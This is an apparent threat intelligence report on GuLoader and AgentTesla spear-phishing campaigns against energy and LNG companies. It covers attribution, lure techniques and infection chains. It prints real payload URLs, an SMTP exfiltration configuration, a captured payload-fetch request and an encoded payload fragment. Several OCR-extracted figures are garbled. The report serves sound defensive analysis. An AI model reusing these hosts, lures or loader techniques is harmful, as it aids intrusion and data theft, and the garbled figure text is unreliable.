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Key findings
In this report are presented:

e The origin of the malware and information about the company running it.

e How multiple companies from the energy sector including, three French companies with
branches in Liquified Natural Gas (LNG) production, were targeted using internal emails that
were uploaded to public platforms and likely reused by an unidentified threat actor to send
phishing emails with their template.

e The last techniques, tactics and procedures threats actors are currently leveraging to target
critical entities using GuLoader and other malwares.

e Some insights on GuLoader’s functionalities and evasion techniques leveraged by its NSIS and
VBS variants.

Intrinsec’s CTI services

Organisations are facing a rise in the sophistication of threat actors and intrusion sets. To address these
evolving threats, it is now necessary to take a proactive approach in the detection and analysis of any
element deemed malicious. Such a hands-on approach allows companies to anticipate, or at least react
as quickly as possible to the compromises they face.

For this report, shared with our clients in July 2023, Intrinsec relied on its Cyber Threat Intelligence
service, which provides its customers with high value-added, contextualized and actionable
intelligence to understand and contain cyber threats. Our CTI team consolidates data & information
gathered from our security monitoring services (SOC, MDR ...), our incident response team (CERT-
Intrinsec) and custom cyber intelligence generated by our analysts using custom heuristics, honeypots,
hunting, reverse-engineering & pivots.

Intrinsec also offers various services around Cyber Threat Intelligence:

e Risk anticipation: which can be leveraged to continuously adapt the detection & response
capabilities of our clients’ existing tools (EDR, XDR, SIEM, ...) through:
o an operational feed of IOCs based on our exclusive activities.
o threat intel notes & reports, TIP-compliant.
e Digital risk monitoring:
o data leak detection & remediation
o external asset security monitoring (EASM)
o brand protection

For more information, go to www.intrinsec.com/en/cyber-threat-intelligence/.
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Introduction

Intrinsec’s CTl Team discovered a cluster of activity mainly targeting companies related to the energy
sector with spear phishing emails and domains typo squatting of those companies’ domain names and
their Liquified Natural Gas branches, but also other generic domains related to the LNG industry like
“Ing-gaz[.]Jcom”. The purpose of these campaigns was to deploy GulLoader implants and later on,
AgentTesla implants.

Guloader is a loader used to evade detection and analysis by leveraging a variety of techniques such
as checking for its environment of execution and encrypting the payload it is trying to inject on the
infected system. The actor that bought GulLoader must provide to the building program the URL
hosting the software that it wants to protect and load on the system. It must be encrypted and can be
hosted on legitimate services like Google Drive or any other domain. GuLoader can come in different
file formats like VBS scripts or NSIS installers. It is known to drop malware like Lokibot, AzorUlt,
Remcos, Nanocore, WarzoneRAT, AgentTesla, FormBook and Hakbit ransomware.

| — Strategical Intelligence
1. Intelligence brief

g % = Unattributed threat actors

ADVERSARY

«

CAPABILITIES
« GuLoader a.k.a CloudEye
= AgentTesla stealer
« Spearphishing emails

D

INFRASTRUCTURE

« Google Drive

* SMTP server

= Plesk

« typosquated domains

Countries & Regions Sectors
« France - Oil and gas
« United-Kingdom « Renewable energies
« Switzerland « Liquefied natural gas
- Spain « Power plants engineering
« Thailand
« Germany

= China

© Intrinsec

Figure 1: Diamond model of the analysed threats.
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2. Attribution

As reported by CheckPoint, GuLoader is currently sold under the name “CloudEye Protector” by an
Italian company specialized in code protection. The program was first advertised in 2014 on
undergrounds forums like Hack-Forum by a user with the username “xor”, in reference to the logical
operation of the same name, often used for encryption purposes. On those old threads, Xor mentioned
the possibility to buy the program on its official website “securitycode[.]Jeu”. The company that owns
the website is registered in Italy under the name “Easysoft Di Ivano Mancini”. Even though Easysoft
indeed commercially distributes CloudEye, the company does not control nor involve itself in the usage
made by clients of their software. This plausible deniability gives the company a sort of "immunity" as
to any attribution regarding GuLoader powered campaigns.

Checkpoint researchers even reported that GuLoader’s developer contacted them right after their
publication research echoed in June 2020 with the cybersec community claiming not being aware of
any malicious usage of their product. However, further checks by the same researchers of thousands
of GuLoader samples showed that 99.9-100% of them were associated with malicious activities. As
such, GuLoader could be considered as a malware-as-a-service.

3. Victimology

As far as the victimology related to GulLoader usage is concerned, it appears that a wide range of
sectors and companies were targeted.

An interesting aspect to observe in the campaigns is the delivery method of GuLoader. One method of
tracking the malware usage as well as campaigns was through the research of spear phishing emails.
These emails revealed the effort put into appearing legitimate, adapting the name of the payload to
pass off as a genuine corporate document or business enquiry as well as the use of legitimate logos
and identities. Finally, the use of spoofed email domains was observed rendering those phishing
campaigns particularly hard to detect for average users. This spoofing technique has been observed
by Fortinet in 2022, during a campaign that spoofed Saudi purchase orders around the period of July.

Moreover, GuLoader has been observed targeting energy providers, such as a Romanian company
operating in this sector on June 21, 2023. This company represented a key target as it is an important
provider for electrical infrastructure in Romania.

To achieve its objective, the threat actor sent a phishing email and spoofed its headers to make it look
like it was sent by a known Romanian airline.
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ubject Comands de achizitie: PO 4500104875 / 21.06.2023 - | I
Buna dimineata
Dorim sa plasam urmatoarea lista de comenzi atasata, va rugam s3 comunicati disponibilitatea si data cea mai scurta de incarcare.

Astept raspunsul tau,

Multumim

> [ 1 attachment: Comanda de achizitie PO 4500104875 21.06.2023 - I 350 KE

Figure 2: Phishing e-mail targeting a Romanian company and deploying GulLoader.
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3.1. Unattributed malicious cluster

Another delivery method related to the deployment of GuLoader by another malicious cluster is still
associated to email spoofing, but this time used in such a way that the attacker poses as a member of
the victim company by sending an email with a typo squatted domain where only one letter is changed.
Through this method of delivery, we have detected several companies being spoofed such as the South
Korean branch of a French company operating in the energy industry. The targeted person was working
for the company as a strategical buyer. The email was particularly well crafted since the subject of
topic was related to an ongoing project, between the targeted company and another company from
the energy sector based in Taiwan, about the installation of a slug catcher (which is a common piece
of equipment in this industry) in their infrastructure in Malaysia. We can assess that this email was
originally sent by employees of the company but was uploaded to a public platform for unknown
reason, resulting in the threat actor taking advantage of this OPSEC error by reusing their email
template to send the same one but with a malicious archive attached to it.

From:
Semt

To:

Subject: REQ 7071 B PR M Slug Catcher

Figure 3: Phishing e-mail sent to a French company from the energy sector with a GuLoader implant attached to it.

A Spanish company linked to the oil and gas industry was targeted two days before that by an email
sent by the same server and leveraging the same domain typo squatting technique. In this case, the
mail contained three legitimate internal documents including one confidential linked to the company,
giving more legitimacy to the lure. The GuLoader implant was contained in a CAB archive. The targeted
individual works as a purchasing engineer for the company.
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By pivoting on the legitimate files present in the mail, we found that the same email was uploaded to
a public platform one month before this campaign but only with the legitimates documents attached
to it and not the malicious CAB archive. We can assess that there is a realistic probability that this
threat actor found it and decided to attach its payload and to use the same email template for its
phishing campaign in order to increase the quality of the lure.

Sent: Thursday, May 18, 2023 8:27 PM

To: N __________________& B
Subject: Request for Quotation 94573 -SSR/ P10 O11S / 945730101
EQUIPMENTS / MATERIALS / TR

Attachments: commerciAL CONDITIONS AND INSTRUCTIONS | -, |-

GT-005-F_2 (Terms Cond Transportation).pdf, Bid Acknowledgement 94573.docx, RFQ-945730101- |
Malicious attachment

External E-Mail - This message comes from an external organization. Be careful of attachments and
embedded links.

PROJECT (Bidding Stage): 4573 - | G

LOCATION: - ]
CLIENT:

SUBJECT: REQUEST FOR QUOTATION (RFQ)

EFQ: 945730101 EQUIPMENTS MATERIALS ([
BID CLOSING DATE (on or before): 3rd June, 2023

If you need any further clarification / information, please, feel free to contact us

Best Regards,

]
Figure 4: Phishing Mail sent to a Spanish company operation in the energy sector with a GuLoader implant attached to it.

Spear-phishing
e
w Sends email

'I'a rget

Downloads
the email Threat actor

| \&__.

(] Sends Receives & ﬁ Contains.-
D% 0

Employee Employee

L6,

5 B

Legitimate documents |

© Intrinsec
Figure 5 : Technique used by the threat actor to target companies with emails uploaded to a public platform.

The same IP that sent those emails targeted a Thai company operating in the heavy industry and
engineering design sectors, as well as in the petrochemical sector. The same technique was likely
leveraged, since an original and legitimate email related to the company was uploaded on a public
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platform in December 2022. In June 2023, the threat actor took the template and documents from this
email and used them to send it to the company but added its malicious implant to it. Regarding this
latter, AgentTesla was contained in a ZIP archive attached to the email.

From: I

Sent: Wednesday, June 7, 2023 2:42 AM

Subject: Request for Quotation: Beic dap Plant & Achth reca - 4/2 Chittagong
Attachments: ommercial Terms _ Conditions.?zbid Participation Acceptance Responsel

Malicious archive Legitimate file
with AgentTesla

aladaiu

waaldigvinudnundidusniuTasonisi ustin Aduaa $ifiae
(niHu) aaasiaIIILHusE Ll

vlatimausasiiiunigsalylad acdasuiHiiudsTuauasainasiou
dasmiesaandoanisaaniuy ¥IIAINTN ATHER
nmanadauuasnsvadauTnodlsyauay/ wiadmanabas ATIASITINAINITUTTY
awdssalldNwduarnisiduauananin msnadaudszdndiain a lydoumingga /
anAmasnsiayasuaaiovua fonlassy i luusudayanacinsanis

w'launuaaauiinianatinuardawlamianisdanidviousad;
(1) dadwun [ Gawlavanisduaraududaniamaia

viailvinuazdasdelutauasiammanisdiiauysal
fuszusznznatminuaransadamfudwanias i auysalanndaulamamaiiauaznn
ImsEIENTIEsEYy maluduwedaud A 15 figuiou 2566

Figure 6: Phishing Mail sent to a Thai company operating in the energy sector with an archive containing an AgentTesla
implant attached to it.

A major German company operating in the energy sector was targeted later, in August, by an email
sent by the same IP address that sent the emails from the previously analysed campaigns. The threat
actor crafted the headers of the mail to make it look like the sender’s domain of origin was the one of
the targeted companies. Looking more in the details of the headers, we found that the actual sender
email server had a completely different domain name and used Plesk.

As a reminder, Plesk is a server data automation software, which is often used by threat actors to
quickly deploy phishing infrastructures. The mail pretended to be sent by the head of the production
and was supposed to target the head of external relations. In this campaign, the threat actor chose to
directly place an AgentTesla implant in a RAR archive attached to the mail.
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t Request for indicative price for Mexico Energy & Power project

IMPORTANT; g

Mame Sae Packed Type
) File foldes
TIRFQ-FGIP2- MR- MS-010-001 exe 853,054 841,104 Application

AgentTesla payload

Figure 7: Details on the mail’s content.

During the same day, another mail related to a “Power & Energy Project” subject was sent to a Sino-
Thai company specialized in the construction of refineries and various types of power plants such as
gas, thermal, cogeneration, coal, and hydro. An AgentTesla implant was also contained in a RAR archive
attached to the mail.

From

To undisclosed-recipients:;

Subject ¥1@ (i12u) Sriracha Power & Energy Project maTuwniasian

A
Beu vineiiAagag

AsesIRAsmEnasuLLAsd U@ A Ba S ismaTy 14 30 . Tungeil

Juitilasuluauasienshsnnlszya nialuiui 8 dnnau 2566

Felag by fmsins e saufluaziogs

fuanmiuda

Name Size Packed Type

Kittikorn Gochum - File folder
T rwmidun.ee 684544 635,272 Application
fAadns Tnzu
Kittikorn Gochum AgentTesla payload
Procurement Officer
Contact Address

> [ 1 attachment: proazdns.rar [ 640 KB

Figure 8: Details on the mail’s content.

On those three previously analysed campaigns, the AgentTesla implants were supposed to exfiltrate
the stolen data over SMTP with the following configuration:

Protocol SMTP

Host cp7nl.hyperhost[.]Jua

Port 587

UTEI I victorlog@lgtvproducts[.]buzz

Upon examining those campaigns targeting energy companies, it is possible to assess with medium
confidence, that they were operated by the same threat actor. Some of the elements supporting that
assessment are the use of the same IP address for the delivery of infected phishing emails and the
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technique leveraged to find legitimate emails related to the targeted company on a public platform,
the same exfiltration configuration for the AgentTesla implants as well as the use of Google Drive for
the final payload delivery when GulLoader was deployed, and the short period of time between the
campaigns.

The observed campaigns can be summarized with the following timeline:

Q

domains N
resolved on IP First usage
162.241.148.13 woor of Guloader

! T 1

! I I r 1

. e

| Typosquated the domain L : | Typosquated and targeted

i ofaFrench company Typosquated the domain ! a Spanish Spoofed and targeted Spoofed and targeted

! operating in the gas and of a French company ! company operating aThai company a sino-Thai company

; renewable energy operating in the oil and gas I in the oil and gas specialized in . specialized in the construction

i industry industry i industry power plants engineering of power plants

1 1

] L]
0

] September 2022 January 2023 May 2022 August 2023
September 2022 November 2022 May 2023 June 2022 August 2023

|
|
Typosquated the domain Typosquated the domain Typosquated and targets : Spoofed and targeted
of an English company of a Swiss company i aFrench i a German company
operating in the oil and gas operating in the oil and gas ! company operating i specialized in .
industry industry ' in the liquefied natural renewable energies

I g 1 r a | gas industry T .
B § + I ‘.
1
L |
v v
Emails sent with )
IP 147.50.227.12 First usage

werow of AgentTesla

Sy I — x5 1
| — — — E
| — L — ] !

A A
i
|

© Intrinsec

Figure 9: Timeline and details of the observed campaigns.
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3.2. Another malicious cluster

In July 2023, another campaign from a different intrusion set that did not show the same artefacts
previously found, used a compromised webmail of an ONG in Uzbekistan to target a financial company
in Azerbaijan. This time the energy sector was not directly targeted but was instead used as a lure. The
mail pretended to be sent by a state-owned oil and natural gas corporation. A ZIP archive containing a
GuLoader implant presented as a screen saver was attached to the mail.

rrom [N
Replyto

Subject Anode (1,253.561 mt-07/08/2023) Cargo Documents (Train list, RWB, Bill. CQQ)
FYl

URGENT

Best regards

Marketing and Operations

Commercial Operations Department

Expert of Trading of the petrochemical products division

Name Size Packed Type Modified CRC32
File folder
[351(1,253.561 m.t.-08.07.2023) Carge Documents (Train list, RWB, Bill, CQQ).scr 373124 285,846 Screen saver 7/11/2023 1:16 ... BB481073

Baku, Azerbaijan

> [ﬂj 1 ihi(hmﬁnt:I(T,Eii.iﬂ m.t.-08.07.2023) Cargo Documents (Train list, RWB, Bill, EQQJ,94 279 KB

Figure 10: Email sent by the intrusion set, targeting an Azerbaijani company, and pretending to be an energy company.
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Also in July, this intrusion set pretended to be part of an Iranian company specialized in designing,
engineering, manufacturing, and supplying chemicals and equipment in petrochemical industries. Two
archives were attached to the mail, both containing GuLoader implants presented as screen savers.

o I o

Subject [EXTERNAL] .;...\y,a-wa stgiiss lys [JJfN0:02000025917 Indentho:75967
Dear Sir/Madam,

You are kindly to submit your technical offer (Unpriced offer) for the inquiry no. 25967 . as per attached document(s) to _
Following points should be noted:

1- Inquiry Number(as reference)
2 - Full description of goods
3 - Quantity / Volume

4 - Manufacturer name

5 - Country of Origin (COO to be presented subject to official purchase order)
6 -Terms of delivery

7 - Delivery time

8 - Terms of payment

9 - Currency (USD, Euro, AED, Rial)

10 - Custom Tariff Number

11 - Packing
12 - Validity
13 - TDS / MSDS(for Chemicals)

N Size Packed Ty Modified CRC32
14 - Data Sheet / Catalog(for Equipment) ame e acked | Type ociie
15 - Other technical documents as per instruction. - File folder

) oty [ o5 stgniny _gl,J-NoozDoonzsw\ndenmmgetm 380,314 293,071 Screen saver 7/10/2023 2:06 ... 87092BDF
Best Regards,

Name Size Packed Type Modified CRC32

o File folder
(5] IndentForm (75967).scr 380,314 293,071 Screen saver 7/10/2023 2:06 ... 87092BDF

v [ 2attachments 573 KB

|IAI cualg [ o2 st o1 BNO02000025017 Inderino7sgsT gz 255 ke "1;] IndentForm (75967) gz 266 K8

© Intrinsec

Figure 11: Email sent by the intrusion set, pretending to be an Iranian company specialized in petrochemicals.
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Il — Tactical Intelligence
1. Tactics, Techniques and Procedures
1.1. NSIS variant of GuLoader

In the case of an email targeting a German company, the attachment was an IMG file that automatically
mounts a virtual disk on the machine when launched. Inside was the GuLoader NSIS installer.

From )

o

Subject Technische Dokumentation

Von meinem iPhone gesendet

> | 1 attachment: Nr.21794790 Technische Dokumentation.img 1.2 MB

\
NSlS icon This PC DVD Drive (E:) Desktop \

~

! Nr.21794790 Technische Dokumentat\cn,ml

© Intrinsec

Figure 12: Email containing the malicious IMG attachment.

When executed, the NSIS, (Nullsoft Scriptable Install System), a program originally used to install

software, will create a folder dubbed “Stephens” on “Appdata\Local” in the user’s directory that will
contain the shellcode.

Users AppData » Local > Stephens

)

I& bluetooth-disabled-symbolic.sv

Emneomraadedefinition.Ove

GulLoader's shellcode

© Intrinsec

Figure 13: Content of the "Stephens" folder.

The content of an NSIS can also be extracted with software like 7zip. It contains a DLL responsible for
interpreting specific instructions written in a separate “.nsi” file that can also be extracted with

previous versions of 7zip (15.05). The GuLoader shellcode is saved with a random name and extension
in the same folder.
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System.dll 6/13/2023 12:21 AM  Application extens

Name Date modified Type Size

SPLUGINSDIR 6/19/2023 6:42 AM File folder
& bluetooth-disabled-symbolic.svg 5/14/2022 7:28 AM

Emneomraadedefinition.Ove I 6/14/2022 7:28 AM OVE File 372 KB

GulLoader's shellcode

© Intrinsec

Figure 14: Extracted content of the NSIS installer.

The NSIS then starts the legitimate process “CasPol.exe” and injects the shellcode in its memory before
terminating itself.

v (8] CasPol.exe 5524 12.06 4284kB/s 763.29MB
BN conhost.exe 9740 50 B/s 6.8 MB

© Intrinsec

Figure 15: Process tree after executing the NSIS.

The shellcode can be found in a Read-Write-Execute protected region in the process’s memory. Its
content is the same as the content of the shellcode file extracted from the NSIS.

.
Environment Handles .NET assemblies .NET performance GPU Comment I nj e ct e d
General  Statistics  Performance  Threads Token  Modules ~ Memory S h e I I c 0 d e
Hide free regions Strings... Refresh J ' CasPol.exe (5524) (Oxbb000D - 0x167e000) | - m} X
Base address Type Size Protect... Use 0 00 00 4 42 43 4L 41 woooninsn ———— A
0xb80000 Mapped 16k8 R 00 €4 Sd 9d 00 00 dd .d.cccccccccncas
0xb30000 Mapped 4kB R 00 00 ae ae ae 00 00
0xbad000 Private 8kB RW bd bd bd bd bd 00 00 11
~ Oxbb0000 Private 11,064kB  RWX 0 65 00 01 01 00 a
0xbb0000 Private: Commit 11,064k8  RWX iy
Ux16c0000 Private 32k8 RW
0x16d0000 Private 1,024k8 RW Heap 0
0x17d0000 Mapped 32kB R 00 94 9
0x17e0000 Private 64kB RW Heap 00
0x17f0000 Mapped 788kB R c:\w 00 4c
0x1900000 Private 12k8 RW c0 00 Oc 0 ¢5 c5
0x1910000 Private 16k8 RW ;! o
0x1920000 Private 16kB RW 0 d6 00
0x1930000 Private 8kB RW
0x1940000 Mapped 8kB R 0
0x1950000 Private 16kB RW 00 d2
0x1960000 Private 12kB RW 00 4d 4d 4d 00 7
0x1970000 Private k8 RW  |]00000 140 0 00 bb 00 " 00 33 00 00 38 38 38 38 38 ‘_

© Intrinsec

Figure 16: Content of the memory region where the shellcode was injected.
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The shellcode performs a GET request to retrieve an additional payload that is XOR encrypted and
hosted on “00gssa[.Jcom/zx.bin”. It is possible to find the URL hosting this next stage in the dumped
strings of the process.

# ° Results - CasPol.exe (8284)

23,385 results,
Address Length Result URL hosting the next
0x1f92978 25 | https://00gssa.com/zx.bin |
0x1f3239a0 25 https://00gssa.com/zx.bin payload
0x1f929¢8 25 https://00gssa.com/zx.bin
0x1f929f0 25 https: //00gssa.com/zx.bin
0x1f32a18 25 https: //00gssa.com/zx.bin
0x1f92a%0 25 https://00gssa.com/zx.bin
0x1f32ab8 25 https://00gssa.com/zx.bin
0x1f92b08 25 https://00gssa.com/zx.bin
0x1f92b30 25 https://00gssa.com/zx.bin
0x1f92b58 26 HAL Extension
0x1f92bf3 25 https: //00gssa.com/zx.bin GET reque st
Ox 1f4b4fs 20 IGET /zx.bin HTTP/1.1
0x1f4b538 90 LUser-AgentMozilla/5.0 (Windows NT 10.0; Winé4; x64; rv: 109.0) Gecko/20100101 Firefox/112.0
0x1f4bSbe 34 Host00gssa.comGET fzx.bin HTTP/1.1

© Intrinsec
Figure 17: Strings dumped from the CasPol.exe process displaying the URL hosting the next stage payload.
The format of the URL found in the dumped strings corresponds to the one which must be provided in

the CloudEye Protector client for it to download the desired next stage; where the file’s extension
seems to always be “.bin".

~ (
Builder
|
| 2 | Summary
{ '] Home . S— . . .
‘ Original file to protect C:\Users\vm7\Desktop\demo_zpplication.exe (Native)
Url{s) with encrypted bin lhttp //185.62.189.48/demo_application_encrypted_D13EF2F.bin l
‘ 2 | Options summary Select destination folder
2% Builder p—
‘ y C:\Users\vm7\Desktop ‘ }
Options Value
File joiner )
Profiles manager Memory protection 0O -Verifying license...
® R Wrap packer o - License OK, verifying server status...
&b vpsBuild Loader type Self & :
2 o - Getting loader informations...
Startup (4]
Output extension exe -Initializing settings...
Custom assembly o -Validating main URL and backup domains...
Custom icon o -Loader code ready. [ 28 KB ) Proceeding...
Custom = - Containing section created...
Increz 0
- Data stored correctly, proceeding to saving output..
4 | > -Outputfilename : fod.exe (68 KB )
- Profile vpsBuild successfully saved.
Build &9 22:12:13 - — END OF PROTECTION PROCESS.
v Save template
vpsBuild
A [
[ BUILD |
= ‘ ol i »
| <@ Previous & ‘@ Reset & new build
|

Figure 18: Inside the builder, the user must provide the URL hosting the encrypted payload in order for GuLoader to know
where to download it from. Source: https.//research.checkpoint.com/2020/quloader-cloudeye/
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The full chain of infection for this campaign can be summarized with the diagram below:

ﬁ
@ XOR encrypted payload

GET request

@ Gets injected

*«. inthe process memory

.
Mo Decrypts and injects

€2 hosting the payload GuLoader shellcode “.. the downloaded payload
/:\ “\\ in memory
. T
@ Writes on disk "
: a3
'
% Attachment Contai | Creates process A
= | IMG > = —_—
©) ©) OL—& S

Email spoofing a company Image disk NSIS installer Process "CasPol.exe™
© Intrinsec
Figure 19: A chain of infection using IMG and NSIS installer files to deploy GulLoader.

By analysing those two campaigns, it is possible to observe how the options “self-process loader” and
“trusted process loader”, present on the CloudEye Protector builder, are operated by the loader. We
believe that the “trusted process” mentioned in the builder is indeed the injected “CasPol.exe”
process. This program is natively present on the Windows Operating System, and thus considered
“trusted”.

7 CloudEyE Protector - x
Builder

fayH
‘ 1} Home Join this file

htp://myurl/myfile.bin

‘ % Builder ‘ Drop as (filename extension) \filename.exs

Profiles manager . N
Protection variables

8 MyProfilel Number of memory pages left unprotected : 2

Memaory protection D | i—i |
Pack into wrapper | * Self process loader | I Trusted process loader |

ALLOW EXECUTION OM VIRTUAL ENVIRONMENTS / \
" "
CasPol.exe

User agent string (change only if you know what it means)

Mozilla/5.0 (Windows NT 6.1; WOWES; Trident/7.0; nv:11.0) like Gecko

| \)]Previous | Ne)ﬂE} | | @Reset&newbuim |

Figure 20: Injection options available when building the loader on the CloudEye Protector client. Source:
https://research.checkpoint.com/2020/guloader-cloudeye/
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1.2. Attachment abusing CVE-2017-0199 for GuLoader deployment

We observed another initial access technique consisting of a Word document exploiting CVE-2017-
0199 that was sent in attachment of an email spoofing a Georgian company.

Subject Doc Georgia Ship (Republic of K.

P

JAoporoi

Moxanyiicra, oTnpassTe HaM ob6HOBNEHHYIO HOPMY 33Ka2a Ha WIOHb, KOTOPAs NPUNAraeTcs.

Sincerely yours. o - 230

I} Office
E—

Commercial Manager

> |0 1 attachment: 06 JUNE _order blank GE.docx 164KE |

© Intrinsec
Figure 21: Email spoofing a Georgian company and containing a malicious attachment.
When launched, the document will communicate with a shortened URL hosting a malicious RTF that

downloads and drops the GuLoader NSIS installer.

Malicious RTF

[107.172.148.208

Microsoft*

Word 2010 /bownioads R

Downloading{http

nesa.me/

Iqdfq|(0% I

2023-06-20 7 Win32 EXE Liljans Slipstrmme exe

Guloader NSIS

Officé

Cancel

© Intrinsec
Figure 22: Execution of the document displaying the URL hosting the RTF.

It is possible to observe the GET request sent to the IP hosting the last encrypted payload.
Unfortunately, it was not possible to retrieve the payload as the page returned a 404 error.

© Intrinsec
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GET /windows/wCeEJLdmcl6.bin HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT 16.8; Win64; x64; rv:169.8) Gecko/20190101 Firefox/112.0
Host: 183.57.138.167

Cache-Control: no-cache

HTTP/1.1 484 Not Found

Date: Wed, @5 Jul 2823 @3:55:12 GMT

Server: Apache/2.4.47 (Win64) OpenSsL/1.1.1k PHP/7.3.28
Content-Length: 381

Content-Type: text/html; charset=iso0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">

<html><head>

<title>484 Not Found</titlex

</head><body>

<hl>Not Found</hlx

<p>The requested URL was not found on this server.</p>

<hr>

<address»Apache/2.4.47 (Win64) Open5SL/1.1.1k PHP/7.3.28 Server at 183.57.138.167 Port 8@</address>
</body></html>

Figure 23: GET request trying to retrieve the final payload but returning a 404 not found.

The full chain of infection for this campaign can be summarized with the diagram below:

® 2
Launches C2 hosting the NSIS
the NSIS

C2 hosting the RTF

Downloads
malicious RTF file

<> [0

%Mtachment —: :
® —'@") Docx *E@"@} ® LB

Injects the shellcode
Email spoofing a company Document exploiting NSIS installer in its own memory

CVE-2017-0199

© Intrinsec

Figure 24: An infection chain using RTF file and the NSIS variant of GuLoader.

© Intrinsec
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2. Code Analysis
2.1. Extracted NSI script

Using 7z we can extract the NSI script used for installation and then analyze this script. The heavily
obfuscated script begins with running every section upon the "instfile” call, then calls the one function
we are interested in: .onMouseOverSection. This function is called automatically on binary execution
as stated in the NSIS documentation.

4.7.2.1.6 .onMouseOQverSection

enever the mouse position over the sections tree has changed. This

Example:

Func

Figure 25: .onMouseOverSection function.

On startup, the .onMouseOverSection function will copy the shellcode located in the
Emneomraadedefinition.Ove file in the $4 variable and call the func_451 function. This function will
then call the func_12 function which will copy the $4 variable in the SR8 variable, allocate some space
into memory and then call the “System::Call” method on the SR8 variable, executing the shellcode.

© Intrinsec
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s $INSTDIR\

y $4 $INSTDIR\E

nc_451

© Intrinsec

Figure 26: Summary of an NSI script used to build the executable.

The System::Call method is inherited from the NSIS System plug-in contained in System.dll library. As
stated in the NSIS documentation, this library allows allocation of memory, writing to memory, freeing
memory, and calls.

2.2. NSIS variant

Using CreateProcessinternalW(), GulLoader’s NSIS variant will start by creating a new process
“CasPol.exe”, which stands for “Code Access Security Policy Tool”. This process is a legitimate Windows
process that enables users and administrators to modify security policy for the machine policy level,
the user policy level, and the enterprise policy level. After creating this process, the malware writes
the full shellcode in its memory using NtWriteVirtualMemory(). The size of the written data
corresponds exactly to the delivered file containing the shellcode. After checking its environment for
analysis environment behaviour, the shellcode downloads the next payload encrypted with a XOR key.
This payload will be decrypted and injected in the same process as the shellcode in a region with Read-
Write-Execute protections.

2.3. VBS variant of GuLoader

In the context of a campaign spoofing a Bulgarian IT company, an archive containing the VBS variant
of GuLoader was sent in the attachment of an email.

© Intrinsec
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From:

Sent: Wednesday, April 26, 2023 10:51 AM

To: "

Subject: cnelWHO UCKAHE 3A OGEPTA I s1rAPKA 26.04.2023r.
Attachments: |URGENT REQUEST FOR OFFER 26 04 2023.gz

Importance: High /

3apaseiire, I il Solicitud urgente de cotizacion para pedido N© 1135 05022023.vbs 3/2023 1:13 AM VBScript Script Fi

T
7
@
S

Mons, npegocrasete HM Han-gobpaTa ueHa, AaTa Ha A0CTABKa W LeHa 3a A0CTaBKa 33
NPOAYKTUTE B NPUNOKEHNA CNUCHK.

OuakeamM oTrosopa TH.

MNoxenasam 3apane 1 ycnex!
Kind Regards,

Trade Manager

Figure 27: Content of the mail and attachment sent to the Bulgarian company.

The VBS script contains 879 lines with obfuscated PowerShell in its core. Its content was passed in the
PowerShell.exe process in the following format:

+1) ){%5
=Lamel9 '
) (Lamel9 *

1) (Lamel9 ) (Lamel9 *

N P- RPMr

© Intrinsec

Figure 28: The full PowerShell script that was passed as a parameter in the PowerShell.exe process.
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Once deobfuscated, the script will download an additional base64 encoded blob of data in a file hosted
on the URL “ac-at[.]net/Tulle.asd” and will save it on the disk under the name “Beruse.Sor”. It then
locates a certain portion data at the offset 189548 with a length of 20758 bytes which contains a
second PowerShell script.

© Intrinsec
Figure 29: The deobfuscated content of the PowerShell script.

« (6] (ON:) s://ac-at.net/Tul

6WKnUHEBM75gSRCAGWIgz+5Ce 1gDXCQEGWLLPHEBM7 1 ToF rM6wWKZ e sCNG+B8YUIEbVrAV+UCQGbECED/ LSTEWKieusCiXSXAZVFAVYIutUatRTrANg HKCQGbEWIqiokUC: 1cQGb6WKTIPBBOSCdbhXAZuUB+aBSPARSzesCCh1XAZULRCQECQGbCQGH
b6wKyNAHCQF 1K7HEBm+SC+1frAorx6wIBEXEBMIEBMASMEHEBM+SCZX1 IDBPrAtoj6wIYLULrANRLCQGbg frkSQIAddXrArgtcQGbiVwkDOSCzQbrAUGREEBAANWAACQGbEWILOT tUTAT rAhBSEWIRSALBIARXAZY rAUT T e tXAZVrAGLOGCOCAAAACQGb CQGbU3EBM3EBM2PAENKIS3E
JU+SCXSEXAZ, BAEAAOSCRI1XAZ 21NXAZXAZ G/ +SCIFFXAZUDWEVXAZtXAZ SXINEBM3EBMZHI6WKIa3EBMAS a6WIAKXEBMOF XAZtXAZS SHAD1 SHEBM+5CXFtGCQGbCQGbgHMK+7h13+5C60NXAZULRArSCQGbCQGbKFBXAZYrA UL /9LrALS
/VgxWOSCP1IXAZULFCQMEWICe3EBMAERB7qIr27rAm T6WLE74PABOSCeMLrAg9Y0dB14nEBM3EBMAN76wI 1PXEBM/ /XCQGbCQGbQU+H725mI tuCUSV1g1DIB2NOKmpF d 1AS 3uVXviv/ dUMFFmCP02ggCakV2UF zR9aq/DI1QWUUIBAADXVC 27nZQuc I+KueChC:
/dyecqg+Uyaj9oivPj52yQdwakebZYuvIc]/LF/2ZbtU3AKPLOGK1q71a+7YANQ3YK/ 7Lp64Y/ jmgnIu3FhR1041SZ pjGFLycymyhZAYCLCP]VVZeCROGGDWRYg1AKCEbY/ FEBAFIYATNLIWDKWPhr SYioU1aMHPLQWZL /ocm7YwL i IgCOD2pZDNXWBYqLP.

/csH/BDAGVPrph TRN! 2Y015KnoFmC@/6k/o+Ff2ERMy +bjtLOZMVII 7MTHed42t7/ 1BSNCTUYYQefTO7ntHC i PTKEXZpWEnZN2XCpU+40HA10hFR2gX16+355EKC6T zbNhy 7kcoGYuvt z8Rr266ADrAudmyhHir1eU7e9sLXUFhL
/dEiNgWRAIrFroLmi/ 1 L97tBKVUNC puw726dsdKEuyOaz1Icz14epbHiwz1+Riza6lySrRIivPugzFI7r3y78QpI4wTtJHIIS3CYKIXGC g TkmsyOIrz7tNLr dLmc7ZqMsBpwmOY113do1PxRe/Ci3u9VMOD7 1AGSVE
/a1za6407++HigN LeE6AO10aMoe JK+2g3xGToXIVEQH EMIChioHpYmYONC Tqe 719 Ay DV ‘IXXBEOBZ/UI/kSAHZ‘WdagLﬂBAX\\‘Hr+kD+SSVKSVgG]3u2HYR6g91K+3]06uProyZBcgbZ MOhDs ++HkF EWESCrvvme+4kdipbb9IZA+azQhcTT2Zu
/KYCGQUFUEU1VPXgbVEN1zCIKYUBUTCELATTPZrLFUU+XbXI9ZrFSbfs 7AyDIQ2z iWLSZwF 1+vveQlYmsa qurqIr7U3Das+ujOIudpm

